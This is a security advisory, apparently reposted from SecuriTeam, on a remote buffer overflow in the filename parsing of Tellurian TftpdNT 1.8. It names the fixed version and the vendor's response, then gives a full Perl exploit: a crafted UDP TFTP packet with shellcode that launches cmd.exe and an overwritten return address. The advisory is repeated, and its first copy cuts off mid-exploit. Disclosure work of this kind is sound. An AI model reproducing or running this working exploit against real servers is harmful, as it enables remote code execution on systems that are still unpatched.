Tellurian TftpdNT (http://www.tellurian.com.au/) is a TFTP server for Windows
NT and Windows 9x.
A buffer overflow vulnerability in the product allows remote attackers to
cause the product to overflow an internal buffer, while executing arbitrary
code.
DETAILS
Vulnerable systems:
* TftpdNT version 1.8
Immune systems:
* TftpdNT version 2.0
It is possible to cause a buffer overflow in the Tellurian TftpdNT product,
while overwriting the EIP pointer - this allows remote command execution.
The overflow occurs in the product's parsing of the filename.
Vendor status:
The vendor has been informed, and has fixed the issue within 24 hours. A new
version is available on the web site.
Exploit:
#!/usr/bin/perl -w
#Tellurian TFTP Server buffer overflow vulnerability
use IO::Socket;
$host = "192.168.1.44";
$port = "69";
------------------------------------------------------------------------
Article reference:
http://www.securiteam.com/windowsntfocus/5RP0M1PAUM.html
SUMMARY
Tellurian TftpdNT (http://www.tellurian.com.au/) is a TFTP server for Windows
NT and Windows 9x.
A buffer overflow vulnerability in the product allows remote attackers to
cause the product to overflow an internal buffer, while executing arbitrary
code.
DETAILS
Vulnerable systems:
* TftpdNT version 1.8
Immune systems:
* TftpdNT version 2.0
It is possible to cause a buffer overflow in the Tellurian TftpdNT product,
while overwriting the EIP pointer - this allows remote command execution.
The overflow occurs in the product's parsing of the filename.
Vendor status:
The vendor has been informed, and has fixed the issue within 24 hours. A new
version is available on the web site.
Exploit:
#!/usr/bin/perl -w
#Tellurian TFTP Server buffer overflow vulnerability
use IO::Socket;
$host = "192.168.1.44";
$port = "69";
$shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
\x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";
$buf = "\x00\x02";
$buf .= "\x41"x(508-length($shellcode));
$buf .= $shellcode;
$buf .= "\x0F\x02\xC7"; # EIP
$buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";
print "Length: ", length($buf), "\n";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Done\n";
SecurITeam would like to thank STORM (storm (at) securiteam (dot) com [email concealed]) for finding this
vulnerability.
--
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com
Know that you're safe:
http://www.AutomatedScanning.com
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